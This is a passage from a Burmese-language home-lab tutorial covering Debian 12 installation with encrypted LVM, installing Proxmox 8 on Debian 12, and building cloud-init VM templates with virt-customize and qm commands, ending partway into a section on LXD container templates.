* Select your location မှာလည်းကိုယ်နေထိုင်တဲ့နိုင်ငံကို ရွေးပေးလိုက်ပါ။
* Configure the keyboard မှာ "American English" ကိုရွေးရပါလိမ့်မယ်။ ဒါမှမဟုတ်ပဲ "Burmese" ကိုရွေးမယ်ဆိုလည်းဖြစ်ပါတယ်။
* လိုအပ်တဲ့ hardware component တွေကို detect လုပ်ပါလိမ့်မယ်။
* Hostname မှတော့ "debian" ဆိုပြီးပဲ စာရေးသူ အလွယ်ထည့်လိုက်ပါတယ်။
* Domain name မှ ဘာမှမထည့်ပဲဆက်ပြီးသွားလို့ရပါတယ်။ ကိုယ်သုံးချင်တဲ့ domain ရှိတယ်ဆိုရင်တော့ ဒီမှာထည့်ပေးရပါလိမ့်မယ်။
* နောက်အဆင့်မှာ root password ကို setup လုပ်ရပါ့မယ်။ strong ဖြစ်တဲ့ password ကိုထည့်ပေးပြီး ဆက်သွားလိုက်ပါ။
* ပြီးရင် non-administrative user account တခုကို ဖန်းတီးဖို့အတွက် လိုအပ်တဲ့အချက်အလက်တွေကိုထည့်၊ password ကို setup လုပ်ပြီး ဆက်သွားလိုက်ပါ။
* နောက်တခုမှာ ကိုယ်နဲ့ သင့်တော်မယ့် state သို့မဟုတ် province တခုကို system clock ကို configure လုပ်ဖို့အတွက်ထည့်ပေးပါ။
* Partition disks မှာတော့ "Guided - use entire disk and set up encrypted LVM" ဆိုတဲ့ option ကိုရွေးပေးလိုက်ပါ။ စာရေးသူက vanilla Proxmox installation မှာ customise လုပ်လို့မရတဲ့ full disk encryption ကိုအခု Debian 12 မှာအသုံးပြုချင်လို့ ဒီ option ကိုရွေးချယ်တာဖြစ်ပါတယ်။
* ကိုယ်သုံးမယ့် disk ကိုရွေးချယ်ပေးလိုက်ပြီး ဆက်သွားပေးလိုက်ပါ။
* Partitioning scheme မှာ "All files in one partition (recommended for new users)" ဆိုတဲ့ option ကိုရွေးပေးလိုက်ပါ။
* Write the changes to disks and configure LVM? ဆိုတဲ့ နေရာမှ Yes လို့ပြောပြီးဆက်သွားပါ။
* ဒါဆိုရင်တော့ disk partition အတွက်လိုအပ်တဲ့ လုပ်ငန်းဆောင်တာတွေကို စတင်ပါလိမ့်မယ်။
* လိုအပ်တဲ့ partitioning တွေလုပ်ပြီးသွားရင် encryption passphrase ကိုထည့်ခိုင်းပါလိမ့်မယ်။ ကိုယ်သုံးချင်တဲ့ passphrase ကိုထည့်ပေးလိုက်ပြီး ဆက်သွားလိုက်ပါ။
* နောက်တဆင့် "Amount of volume group to use for guided partitioning" မှာ ကိုယ်နဲ့ကိုက်မယ့် size ကိုထည့်ပေးပါ။ ဥပမာ - ကိုယ့် VM မှာက 30 GB ရှိတယ်ဆိုရင် ဒီနေရာမှာ 20 GB လောက်ထည့်ပေးလိုက်ရင်၊ ကျန်တဲ့ 10 GB က Proxmox အတွက်ဖြစ်လာမှာပါ။
* ပြီးရင်တော့ "Finish partitioning and write changes to disk" ဆိုတဲ့ option ကိုရွေးပေးပြီး ဆက်သွားလိုက်ပါ။
* Confirm လုပ်ဖို့အတွက် "Write the changes to disks?" ဆိုတာနေရာမှာ Yes ဆိုပြီးဆက်သွားလိုက်ပါ။
* အခုဆိုရင်တော့ Debian 12 installation စတင်ပါပြီ။
* Installation ပြီးသွားအခါမှာ "Use a network mirror?" ဆိုတဲ့နေရာမှာ Yes လို့ရွေးပြီးဆက်သွားလိုက်ပါ။ ပြီးရင်ကိုယ်နဲ့ သင့်တော်မယ့် နေရာနဲ့ repository ကိုရွေးလိုက်ပြီးဆက်သွားပါ။
* GRUB အတွက် "Install the GRUB boot loader to your primary drive?" မှာ Yes လို့ရွေးပါ။ ပြီးရင်ကိုယ့်ရဲ့ disk ကိုရွေးချယ်ပေးပြီး ဆက်သွားပါ။
* အားလုံးပြီးသွားရင် reboot လုပ်ပေးဖို့လိုပါလိမ့်မယ်။
* reboot လုပ်ပြီးသွားရင် boot အတက်မှာ GRUB boot menu နဲ့ပြန်စပါလိမ့်မယ်။ ပြီးတော့မှ "Please unlock disk sda5\_crypt:" ဆိုတဲ့ prompt ပေါ်လာတာအခါမှာ installation လုပ်တုန်းထည့်ထားတဲ့ encryption passphrase ကိုရိုက်ထည့်ပြီး disk ကို unlock လုပ်ရပါ့မယ်။ Boot menu ပြပြီးကာမှ disk unlock လုပ်ဖို့ screen ပြတယ်ဆိုတာကို သတိထားမိမှဖြစ်ပါတယ်။ Full disk encryption လိုဆိုပေမယ့်လည်း boot disk ကို encrypt မလုပ်တာကို တွေ့ရမှာဖြစ်ပါတယ်။ Boot disk ပေါ်မှာ လုံခြုံရေးအတွက် စိုးရိမ်စရာ ဘယ်လို file မျိုးမှမရှိနိုင်ပါ။ ဒါကြောင့်... encrypt လုပ်စရာမလိုပါဘူး။ Boot disk ကို encrypt လုပ်ချင်ရင် လုပ်လို့ရတဲ့ နည်းတွေရှိပါတယ်။ LUKS version 2 ကနေ LUKS version 1 ကို downgrade လုပ်ပြီးမှ boot disk ကို encrypt လုပ်ရမှမို့ စာရေးသူ အနေနဲ့ သဘောမတွေ့ပါ။
* Debian 12 ရဲ့ login မှာ root account နဲ့ ဝင်လိုက်ပါ။ သမန်ရိုးကျမှာတော့ root account နဲ့ system ထဲကို login ဝင်တာကို အားမပေးပါဘူး။ သို့သော်... နောက်အဆင့်မှာ Proxmox ကိုဆက်ပြီး install လုပ်မှမို့ root နဲ့ login ဝင်ရတာဖြစ်ပါတယ်။
* Virtualbox ကိုသုံးတယ်ဆိုရင် Virtualbox Guest Additions ကို install လုပ်ရပါ့မယ်။ Virtualbox VM ရဲ့ Devices > Insert Guest Additions CD image... လုပ်ပြီး virtual CDROM ကို mount လုပ်လိုက်ပါ။ Mount လုပ်ထားတဲ့ directory ထဲမှာဖော်ပြပါ command ကို terminal နဲ့ဝင်ပြီး run လိုက်ပါ။ `root@debian:/media/cdrom0# sudo sh ./VBoxLinuxAdditions.run`
* Reboot နောက်တခါလုပ်လိုက်ပါ။ ဒါဆိုရင်တော့ Virtualbox မှာသုံးလို့ display နဲ့ clipboard settings တွေကိုစတင် အသုံးပြုနိုင်ပါပြီ။

## Proxmox 8 installation on Debian 12

Proxmox ရဲ့ official documentation ဖြစ်တဲ့ <https://pve.proxmox.com/wiki/Install\\_Proxmox\\_VE\\_on\\_Debian\\_12\\_Bookworm> link မှာဘယ်လို install လုပ်လို့ရနိုင်သလဲဆိုတာရှင်းပြထားပါတယ်။ အဲ့ဒီ steps တွေကိုပဲပြန်ကိုးကားပြီး အောက်မှပြန်ရှင်းထားဖြစ်ပါတယ်။ တခါတလေ Proxmox documentation ကပြည့်ပြည့်စုံစုံ ရှင်းရှင်းလင်းလင်း ဖော်ပြထားတာမျိုး မရှိတဲ့အတွက် Proxmox ကို စပြီးအသုံးပြုသူတွေအတွက် အနည်းနည်းငယ် ရှုပ်ထွေးစေပါတယ်။

* ပထမဆုံးနဲ့ အရေးအကြီးဆုံးအနေနဲ့လုပ်ရမှာက DNS resolution ပါ။ ဒီအဆင့်ကိုကျော်ရင် Proxmox ကို install လုပ်ပြီးအခါမှာ WebUI ကို access လုပ်လို့မရတဲ့ ပြဿနာဖြစ်ပါလိမ့်မယ်။ Hostname နဲ့ လက်ရှိ VM ရဲ့ IP address ကို /etc/hosts မှာသွားထည့်ပေးရပါ့မယ်။ Proxmox ရဲ့ documentation မှာ static IP address ကိုအသုံးပြုဖို့ recommend လုပ်ပါတယ်။ Virtualbox မှာ default network settings က NAT ဖြစ်ပြီး၊ DHCP ကနေ VM ကို dynamic IP address ကို assign လုပ်ပါတယ်။ Isolated NAT ဖြစ်တဲ့အတွက် နောက် VM တခုကိုဖန်တီးတဲ့အခါမှာလည်း 10.0.2.15 ဆိုတဲ့ IP address ကိုပဲ assign ထပ်လုပ်တာကိုတွေ့ရမှာပါ။ ဒီ့အတွက် static IP address ကို assign လုပ်စရာမလိုပါဘူး။ Virtualbox ကိုမသုံးပဲ PC/Laptop hardware ကိုအသုံးပြုတယ်ဆိုရင်တော့ static IP address လုပ်တာပိုအဆင်ပြေပါလိမ့်မယ်။

```bash
# edit /etc/hosts for name resolution
root@debian:~# vi /etc/hosts
127.0.0.1	localhost
10.0.2.15	debian

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

# verify if the change applied to name resolution
root@debian:~# hostname --ip-address
10.0.2.15
```

* ပြီးရင်တော့ အောက်မှာဖော်ပြပေးထားတဲ့ command တွေကို တခုချင်းစီရိုက်ထည့်ပေးလိုက်ရုံပါပဲ။

```bash
# add the Proxmox VE repository
echo "deb [arch=amd64] http://download.proxmox.com/debian/pve bookworm pve-no-subscription" > /etc/apt/sources.list.d/pve-install-repo.list

# install wget required for next step
apt install wget -y

# add the Proxmox VE repository key as root
wget https://enterprise.proxmox.com/debian/proxmox-release-bookworm.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg

# update the repository and system
apt update && apt full-upgrade -y

# install the Proxmox VE kernel and reboot
apt install proxmox-default-kernel -y
systemctl reboot

# install the Proxmox VE packages
apt install proxmox-ve postfix open-iscsi chrony -y

# Proxmox VE ships its own kernel and keeping the Debian default kernel can lead to trouble on upgrades, for example, with Debian point releases. Therefore, you must remove the default Debian kernel.
apt remove linux-image-amd64 'linux-image-6.1*' -y

# update and check grub2 config
update-grub

# if you didn't install Proxmox VE as dual boot beside another OS, you can safely remove the os-prober package.
apt remove os-prober -y
```

* အထက်မှာဖော်ပြပေးထားတဲ့ အဆင့်တွေအကုန်ပြီးသွားရင် web browser ကနေ <https://debian:8008> သို့မဟုတ် <https://localhost:8006> ကို access လုပ်လို့ရနိုင်ပါလိမ့်မယ်။ WebUI မှာ root account နဲ့ပဲ login ဝင်လိုက်ပါ။
* Login ဝင်ပြီးရင် local (debian) ဆိုတဲ့ storage တခုတည်းကိုတွေ့ရမှာဖြစ်ပါတယ်။ အခုဆိုရင် Proxmox VE မှာလုပ်စရာနှစ်ခုရှိပါတယ်။

  * Network configuration အတွက် vmbr0 တခုကိုဖန်တီးပေးရပါ့မယ်။
    * Host ရဲ့ System > Network မှာလက်ရှိ virtual NIC ကိုရွေးပြီး remove အရင်လုပ်လိုက်ပါ။
    * Linux Bridge အသစ်တခု အောက်ပါ အချက်အလက်တွေနဲ့ ပြန်ပြီး configure လုပ်ပေးလိုက်ပါ။
      * Name: vmbr0
      * IPv4/CIDR: 10.0.2.15/24
      * Gateway (IPv4): 10.0.2.2
      * Bridge ports: enp0s3 (ဒီနေရာမှာ ကိုယ့်သုံးတဲ့ NIC ရဲ့နာမည်ကိုထည့်ပေးရမှာဖြစ်ပါတယ်။)

  <figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a8ba33cd9350ef69a1ba51a8d99060e4059a9204%2Fimage.png?alt=media" alt=""><figcaption><p>Network configuration</p></figcaption></figure>

  * နောက်တဆင့်မှာ Apply Configuration ဆိုပြီး အထက်မှာကိုယ်ပြောင်းထားတဲ့ changes တွေကို apply လုပ်ရပါ့မယ်။
  * Storage configuration အတွက် local-lvm တခုကိုပေါင်းထည့်ရပါ့မယ်။
    * Server view မှာ Datacenter > Storage > Add > LVM မှာ local-lvm ဆိုတဲ့နာမည်နဲ့ LVM အသစ်ပေါင်း ထည့်ပေးရပါ့မယ်။

  <figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-35d8baf84d4b70c5374906a55ae5662932cc476f%2Fimage.png?alt=media" alt=""><figcaption><p>Storage configuration</p></figcaption></figure>

အခုဆိုရင် Proxmox 8 ကို Debian 12 ပေါ်မှာကိုယ်ကြိုက်တဲ့ customisation တွေနဲ့ install လုပ်လို့ပြီးပါပြီ။ အဆင့်တွေများပေမယ့်လည်း အရမ်းတော့လည်း မခက်ခဲလှပါဘူး။ သာမန် Proxmox ကို install လုပ်တာနဲ့တော့ တော်တော်လေးကွာခြားတာကိုတွေ့ရမှာဖြစ်ပါတယ်။


# Promox ပေါ်မှာ VM template တွေကို cloud-init သုံးပြီး ဖန်တီးပုံ

စာရေးသူ Promox ကို home lab မှာ အများဆုံးအသုံးပြုတဲ့ ဖြစ်ပါတယ််။ အကြောင်းမူက Type 1 hypervisor တွေထဲမှာ install လုပ်ရတာလည်း လွယ်သလို၊ သူနဲ့ပါလာတဲ့ LXC container နည်းပညာဟာလည်း အလွန်ကို အသုံးတည့်တဲ့ system containerisation တစ်ခုဖြစ်လို့ပါပဲ။ ဒီနေရာမှာ ပြောစရာရှိတာက Type 1 hypervisor တွေထဲမှာ၊ VMware ရဲ့ ESXi ရှိသလို၊ qemu ကိုအသုံးပြုထားတဲ့ KVM နဲ့ Ubuntu ပေါ်မှာ run တဲ့ LXD တွေကိုအသုံးပြုချင်လည်းရတာပေါ့။ သို့သော်… VMware ESXi ကိုအသုံးပြုတဲ့အခါမှာ open-source မဟုတ်တာတစ်ခုရယ်၊ Type 1 hypervisor မှာရနိုင်တဲ့ feature တွေအကုန်လုံးကို non-commercial မှာမရနိုင်လို့ရယ်မို့ အရင်က အိမ်မှာအသုံးပြုဖူးပေမယ့် ဆက်ပြီးတော့ အသုံးပြုဖို့ စိတ်မယိုင်တော့ပါဘူး။ KVM ကို Ubuntu သို့မဟုတ် RockyLinux ပေါ်မှာတင်ပြီးတော့ အသုံးပြုချင်လည်း ဖြစ်နိုင်ပါတယ်။ ဒါပေမယ့်… သူနဲ့တွဲသုံးမည့် virtual machine manager လို tool တွေဟာပြီးပြည့်စုံတယ်လို့ မခံစားရတာတခု၊ KVM အတွက်အသုံးပြုတဲ့ virsh လို CLI tool တွေအတွက်လည်း သီးသန့်လေ့လာရမယ့် ဟာတွေဖြစ်နေတာကြောင့်ရယ်မို့ home lab အတွက်အဆင်မပြေဘူးလို့ထင်ပါတယ်။ အချိန်ရရင်တော့လည်း သီးသန့်လေ့လာချင်ပါတယ်။ အခုတော့… အချိန်မပေးချင်သေးလို့ ဆင်ခြေကန်နေသေးပုံပါ။ နောက်တခုက Ubuntu ပေါ်မှာ LXD ကို run ပြီး LXC container ရော၊ qemu ကိုပဲသုံးပြီးတော့ run တဲ့ LXC virtual machine အတွက်ပါအသုံးနိုင်ပါတယ်။ သို့ပေမယ့်… virtual machine ကိုအသုံးများမယ်ဆိုရင်တော့ သိပ်ပြီးတော့ အဆင်မပြေနိုင်ပါဘူး။ လက်ရှိ LXC မှာရနိုင်တဲ့ official VM image ကအများကြီးမရှိသေးပါဘူး။ ဒီ့အတွက်ကြောင့်… စာရေးသူအတွက်တော့ အဆင်ပြေဆုံး solution က Promox လို့ပဲထင်မိပါတော့တယ်။ အချို့လည်း Promox ကို မကြိုက်တဲ့သူတွေအများကြီးရှိပါတယ်။ စာရေးသူအတွက်တော့ ကိုယ်သုံးမယ့် use case နဲ့ ကိုက်နေလို့လည်း ဖြစ်နိုင်ပါတယ်။

ဒီ post မှာတော့… စာရေးသူ ဝေမျှချင်တာက Promox ပေါ်တွင် VM template တွေကို cloud image သုံးပြီး အလွယ်တကူ ဖန်တီးနိုင်သလဲဆိုတာပဲဖြစ်ပါတယ်။ ဤသို့ template တွေကို ဖန်တီးဖို့အတွက် cloud-init ကိုလည်း VM instance ရဲ့ ပထမအကြိမ် boot တက်တဲ့အခါမှာ update လုပ်စရာရှိတာတွေလုပ်ဖို့နဲ့ hostname ကို VM နာမည်အတိုင်းလိုက် ပြောင်းနိုင်ဖို့အတွက်သာသုံးပါတယ်။ ကျန်တဲ့အပိုင်းတွေအတွက်တော့ virt-customize နဲ့ Promox ရဲ့ qm command တွေသုံးပါတယ်။ တခုသိထားရမှာက virt-customize ကို Promox ပေါ်မှာ install လုပ်တဲ့အခါ၊ subscription မရှိရင် Promox ရဲ့ repo ကိုအရင်ဆုံး disable လုပ်ထားဖို့လိုပါလိမ့်မယ်။ ပြီးတော့မှ Debian ရဲ့ generic repo တွေကိုသုံးကာမှ virt-customize ကို install လုပ်လို့ရပါတယ်။ သူ့ကို Promox မှာ install လုပ်ဖို့အတွက် အောက်က အတိုင်း command နဲ့ install လုပ်နိုင်ပါတယ်။ Promox host ကို root account နဲ့ ssh remote connect လုပ်ဖို့တော့လိုပါလိမ့်မယ်။

```
$ apt update -y && apt install libguestfs-tools -y
```

ပြီးရင်တော့ လုပ်ငန်းစဖို့အတွက် Ubuntu 22.04 LTS cloud image ကိုအောက်မှာပြထားတဲ့အတိုင်း download ဆွဲလိုက်ပါ။ စာရေးသူ ဒီမှာ Ubuntu ရဲ့ နောက်ဆုံးထွက်တဲ့ LTS ကိုသုံးထားတယ်။ ဘယ် cloud image နဲ့ပဲဖြစ်ဖြစ် အဆင်ပြေပါလိမ့်မယ်။ ကိုယ်လိုချင်တဲ့ image ကို စိတ်ချရတဲ့ source ကနေရနိုင်ပါတယ်။ Custom image တည်ဆောက်ပုံကတော့ အတူတူပါပဲ။

```
$ wget https://cloud-images.ubuntu.com/jammy/current/jammy-server-cloudimg-amd64.img
```

လိုချင်တဲ့ cloud image ရပြီဆိုရင် virt-customize ကိုအသုံးပြုပြီး စာရေးသူတို့ install လုပ်ချင်တဲ့ package တွေကို image ထဲ inject လုပ်လို့ရပါပြီ။

```
# install all desired packages in the cloud image 
$ virt-customize -a jammy-server-cloudimg-amd64.img --install qemu-guest-agent,vim,bash-completion,wget,curl,unzip
```

ဒါပြီးတော့ install လုပ်ပြီးသား package တွေကို update လုပ်ပါ့မယ်။

```
# update all installed packages in the image
$ virt-customize -a jammy-server-cloudimg-amd64.img --update
```

Timezone ကိုလည်းအခုလိုမျိုး လိုတဲ့အတိုင်း setup လုပ်လို့ရပါတယ်။

```
# set preferred timezone
$ virt-customize -a jammy-server-cloudimg-amd64.img --timezone "Myanmar/Yangon"
```

တကယ်လို့များ public key authentication ကိုအသုံးပြုပြီးတော့ VM instance ထဲကို ssh နဲ့ဝင်ချင်ရင်တော့၊ ပထမဆုံး ကိုယ့်ရဲ့ ssh public key ကို Promox host ပေါ်အရင် copy ကူးယူလိုက်ပါ။ ဒါဆိုရင်တော့ အောက် command ကိုအသုံးပြုပြီး ssh key ကို cloud image ထဲကို inject လုပ်လို့ရပါပြီ။

```
# copy the ssh pubkey into the image
# that id_rsa.pub needs to be uploaded to the host in piror to run this command
$ virt-customize -a jammy-server-cloudimg-amd64.img --ssh-inject root:file:./id_rsa.pub
```

ဒါကိုကြည့်ခြင်းအားဖြင့် virt-customize tool ဟာ ဘယ်လောက်တောင်အလုပ်ဖြစ်သလဲဆိုတာတွေ့ရမှာပါ။ ဒီ post မှာက အသုံးများတဲ့ပုံစံမျိုးကိုသာ ထည့်သွင်းအသုံးပြုပြသွားတာဖြစ်ပါတယ်။ ဒီထက်ပိုပြီးတော့ ကိုယ့်အတွက်အသုံးတည့်နိုင်မည့် လက်တွေ့ အသုံးချချင်လည်း ဖြစ်နိုင်ပါသေးတယ်။ လိုချင်တဲ့ custom image ပုံရပြီဆိုရင် စပြီးတော့ VM တခုကိုအရင် တည်ဆောက်ကြည့်လိုက်ရအောင်ဗျ။

ဒီမှာတော့… ပထမဆုံးအနေနဲ့ ကိုယ်လိုချင်တဲ့ VM specs ကိုသတ်မှတ်ပေးပြီး “jammy-server-cloudimage-template” လို့နာမည်ပေးလိုက်ပါတယ်။ ဒီနေရာမှာ 1001 ဆိုတာက VM အတွက်သတ်မှတ်ပေးထားတဲ့ unique VM ID ပါ။

```
# create a new VM instance with desired specs
$ qm create 1001 --name "jammy-server-cloudimg-template" --memory 1024 --cores 1 --net0 virtio,bridge=vmbr0
```

VM ကိုတည်ဆောက်ပြီးတာနဲ့ အစောကကြိုတင်ပြင်ဆင်ထားတဲ့ custom image ကို system disk အနေနဲ့ VM 1001 ထဲကို import လုပ်လိုက်ပါတယ်။ local-lvm ဆိုတာက VM ရဲ့ disk အတွက် သတ်မှတ်ထားတဲ့ target storage resource ပါ။

```
# import the prep cloud image to the VM with target storage location
$ qm importdisk 1001 jammy-server-cloudimg-amd64.img local-lvm
```

ပြီးရင်… လိုအပ်တဲ့ SCSI driver ကိုအောက်မှာပြထားတဲ့ အတိုင်း setup လုပ်ပါတယ်။ ဒါ့အပြင် VM အတွက်လိုအပ်တဲ့ boot disk ရယ်၊ cloud-init disk ကိုပါတခါတည်း ပြင်ဆင်ပေးလိုက်ပါ။

```
# setup the system disk with required scsi parameters
$ qm set 1001 --scsihw virtio-scsi-pci --scsi0 local-lvm:vm-1001-disk-0

# setup the boot disk
$ qm set 1001 --boot c --bootdisk scsi0

# attach the cloudinit
$ qm set 1001 --ide2 local-lvm:cloudinit
```

Promox ရဲ့ web console မှာ out-of-band serial connection အတွက်လည်း အခုလိုမျိုး လိုအပ်တဲ့ parameter တွေကို သတ်မှတ်ပေးရပါလိမ့်မယ်။ ဒါမှမဟုတ်ရင်တော့ serial connection ကအလုပ် လုပ်မှာမဟုတ်ပါဘူး။

```
# setup the serial vga parameters for web console sessions
$ qm set 1001 --serial0 socket --vga serial0
```

အထက်မှာ virt-customize ကိုအသုံးပြီးတော့ install လုပ်ထားတဲ့ qemu-guest-agent ကိုလည်းအခုလို ကြိုတင်ပြီးတော့ enabled လုပ်ထားလို့ရပါတယ်။ Virtualbox မှာ additional guest agent ကိုသုံးသလိုပဲ၊ Promox မှာတော့ qemu-guest-agent ကိုသုံးပြီး VM ရဲ့ အချက်အလက်တွေနဲ့ feature တွေကို အသုံးပြုနိုင်ဖို့ ထည့်သွင်းပေးထားရပါတယ်။ နောက်မို့ဆိုရင် VM ရဲ့ IP Address ကိုတောင် Promox ရဲ့ dashboard မှာပြမှာမဟုတ်ပါဘူး။

```
# enable the qemu-guest-agent 
$ qm set 1001 --agent enabled=1
```

အကယ်လို့များ user account နောက်တခုပါ ဖန်တီးချင်ရင်ဖြင့် အောက်ကအတိုင်း လိုအပ်တဲ့ command ကို run လို့ရပါတယ်။ Security အတွက်တော့ password ကောင်းကောင်းသုံးဖို့လိုပါလိမ့်မယ်။

```
# create a login user
$ qm set 1001 --ciuser tyla

# set a password for the login user
$ qm set 1001 --cipassword "secret"
```

IP address ကို setup လုပ်တဲ့အခါ အသစ်သစ်သော VM တွေအတွက်တော့ DHCP နဲ့ဆိုပိုပြီး အဆင်ပြေနိုင်ပါတယ်။

```
# set the ipconfig to dhcp
$ qm set 1001 --ipconfig0 ip=dhcp
```

အားလုံးပြီးရင်တော့ ဒီ VM 1001 ကို template အဖြစ်သို့ ပြောင်းလဲလိုက်ရုံပါပဲ။ သတိထားရမှာက… template မပြောင်းခင်မှာ အဲ့ဒီ VM ကို boot မတက်ပါနဲ့၊ အကယ်လို့များ boot တက်လိုက်တယ်ဆိုရင်တော့ VM ကို အစကနေပြန်ပြီး create လုပ်ရပါလိမ့်မယ်။ Cloud-init clean နဲ့ reset လုပ်လို့ရသော်လည်း၊ troubleshoot လုပ်ရနိုင်ပါတယ်။ ဒီ့အတွက် VM အစကနေပြန်ပြီးတော့ ဖန်တီးတာပိုပြီးတော့ ကောင်းပါလိမ့်မယ်။

```
# convert the VM instance into a VM template
$ qm template 1001
```

VM template က အဆင်သင့်ဖြစ်ပြီဆိုရင်တော့ အောက်မှာပြထား တဲ့အတိုင်း VM နောက်အသစ်တစ်လုံးကို အဲ့ဒီ template ကနေပြီး clone ယူလိုက်ပါ။ ပြီးရင် VM ကိုလည်း တခါတည်း start လုပ်လိုက်ပါ။

```
# spin up a new VM instance with the VM template
$ qm clone 1001 100 --name ubuntu-srv01

# startup the VM
$ qm start 100
```

VM boot တက်လာပြီဆိုရင် Promox dashboard မှာပြထားတဲ့ VM ရဲ့ IP address နဲ့ ssh remote connection ကိုသုံးပြီး VM ထဲဝင်လို့ရပါပြီ။ Root account ကိုသုံးရင်တော့ ssh key authentication နဲ့ ဝင်နိုင်ပြီး၊ အသစ် create လုပ်ထားတဲ့ user account နဲ့ ဝင်ချင်ရင် အဲ့ဒီ username နဲ့ ကိုယ်သတ်မှတ်ပေးထားတဲ့ password ကိုသုံးကာ ssh login ဝင်လို့ရနိုင်ပါတယ်။ ကိုယ့်အတွက် အဲ့ဒီ VM မလိုတော့ဘူး၊ ပြန်ပြီးတော့ ဖျက်ချင်ရင် အောက်ကအတိုင်း ဖျက်ပစ်လို့ရပါတယ်။

```
# stop the VM and teardown
$ qm stop 100 && qm destroy 100
```

ရိုးရှင်းပြီးလွယ်သလောက် မစမ်းသပ်ဖူးရင် မသိနိုင်တဲ့ workflow process မို့အခုလိုမျိုး ပြန်လည်မျှဝေလိုက်ရခြင်းပဲဖြစ်ပါတယ်။ အားလုံးအတွက် အထောက်အကူပြုမယ်လို့ စာရေးသူ မျှော်လင့်ပါတယ်။


# Custom LXD container templates များကိုဘယ်လို import လုပ်သလဲ

Proxmox ကို hypervisor အနေနဲ့ စတင်အသုံးပြုစကတည်း စာရေးသူ LXD container တွေနဲ့စတင်ရင်းနှီးကျွမ်းကျင်လာပါတယ်။ အရင်ကကြားဖူးပေမယ့် LXD ကိုလက်တွေ့မှာ ထဲထဲဝင်ဝင် မသုံးဖြစ်ခဲ့ပါဘူး။ အချို့က LXC လို့လည်းအလွယ်ခေါ်သလို၊ အချို့က LXD container လို့လည်းခေါ်ကြပါတယ်။ LXC ဆိုတာက Linux Containers ရဲ့အတိုကောက်ဖြစ်ပြီးတော့၊ LXD ဆိုတာ Linux Container Daemon ရဲ့အတိုကောက်ပါ။ LXC ဟာ low-level containerisation နည်းပညာတခုဖြစ်ပြီး ဟိုအရင်ကတည်း OpenVZ လို့ခေါ်ခဲ့ကြပါတယ်။ စာရေးသူ Sysadmin တစ်ယောက်ဖြစ်စက၊ OpenVZ ကိုအသုံးပြုတဲ့ web hosting တခုမှာ support လုပ်ရင်းနဲ့ တခေါက်မြင်ခဲ့တွေ့ခဲ့ဘူးပါတယ်။ အဲ့ဒီတုန်းက ကိုယ့်လုပ်ငန်းခွင်မှာ တွေ့နေကြမဟုတ်တဲ့အတွက် အမှတ်တမဲ့ပါပဲ။ LXD ဆိုတာက LXC ကိုအသုံးပြုပြီး ပိုမိုလွယ်ကူအောင်၊ feature တွေအများထပ်ထည့်ထားတဲ့ high-level containerisation နည်းပညာတခုပါ။ LXD နဲ့ container အပြင်၊ virtual machine တွေပါ KVM အသုံးပြုပြီး run လို့ရနိုင်ပါတယ်။

Proxmox မှာသုံးလို့ရတဲ့ LXC template တွေကို ကိုယ့်ရဲ့ local LXD installation မှာဘယ်လိုမျိုး import လုပ်ပြီးတော့ အသုံးပြုနိုင်သလဲဆိုတာကိုရှင်းပြသွားပါ့မယ်။ ဘာဖြစ်လို့ အဲ့လိုမျိုး import လုပ်ဖို့စိတ်ကူးရသလဲဆိုတာ အနည်းငယ်ရှင်းပြလိုပါတယ်။

* စာရေးသူရဲ့ home lab နဲ့ home production environment တွေမှာ Proxmox hypervisor ကိုအသုံးပြုလာခဲ့တာကြပါပြီ။ Home lab ကို စာရေးသူ အမြဲတမ်း power on မလုပ်ထားချင်တဲ့အတွက်၊ လိုမှပဲစက်ဖွင့်ပြီးတော့ အသုံးပြုပါတယ်။ တခါတရံ အဲ့ဒီ power on လုပ်ရတာနဲ့၊ Proxmox ထဲကိုဝင်ရတာနဲ့က ကိုယ် lab ကို setup လုပ်ဖို့အချိန်က ကြန့်ကြာစေပါတယ်။ ဒီတော့ မလိုအပ်ပါက အဲ့ဒီ home lab server ကြီးကို စက်မဖွင့်လိုပါ။
* စာရေးသူအနေနဲ့ နောက် စည်းကမ်းချက်တခုက၊ home production environment မှာဘာကိုမှ စမ်းသပ်မူမျိုး မလုပ်ရပါ။ အရင်တုန်း ဒါလေးတခုက မဖြစ်စလောက်လေးပါ၊ ဘာမှမဖြစ်ပါဘူးဆိုပြီး production မှာစမ်းသပ်မိခဲ့လို့ ကိုယ့်အိမ်က production environment ကျသွားတဲ့အခါ၊ အိမ်ကမိသားစုဝင်တွေအကုန်လုံးအတွက် impact ဖြစ်ပါတယ်။ ဒါဟာကိုယ့်ရဲ့ sysadmin တစ်ယောက်ရဲ့ ဂုဏ်သိက္ခာ ကိုအများကြီးထိခိုက်စေပါတယ်။ ဒီတော့ ကိုယ့်အလုပ်မှာ ကိုယ်ဘယ်လောက်သိကြောင်း တတ်ကြောင်းကို အပြောတခုတည်းနဲ့ မဟုတ်ပဲနဲ့၊ အလုပ်နဲ့ပါသက်သေပြနိုင်ဖို့ကအရေးကြီးပါတယ်။
* စာရေးသူလက်ရှိ အသုံးပြုနေတဲ့ Lenovo workstation ရဲ့ spec ဟာ server တလုံးအနေနဲ့ အသုံးပြုလို့ရနိုင်လောက်တဲ့ အနေအထားဖြစ်ပါတယ်။ တချိန်တုန်း ဒီစက်ကိုအိမ်မှာ sever အဖြစ်သုံးဖို့အတွက်ဝယ်ထားပြီးကာမှ အသုံးပြုဖို့ use case ကောင်းကောင်းမရှိတာကြောင့် စာရေးသူရဲ့ main workstation အဖြစ်ပြန်ပြောင်းအသုံးပြုဖြစ်ခဲ့ပါတယ်။ Intel Xeon CPU ကြီးနဲ့ဖြစ်တဲ့အတွက် power consumption မှာ ၂၄နာရီလုံး run ထားဖို့အတွက် သိပ်မကိုက်ဘူးလို့ ထင်ပါတယ်။ Ubuntu 22.04 LTS Desktop (default - GNOME) ကိုသုံးပြီး Virtualbox ကို Vagrant နဲ့ တွဲသုံးပြီး lab တွေကို setup လုပ်ပါတယ်၊ စမ်းသပ်ပါတယ်။ Virtualbox ပေါ်မှာ Proxmox ကိုထပ်တင်ပြီး run လို့တော့ရပါတယ်။ Virtualbox က 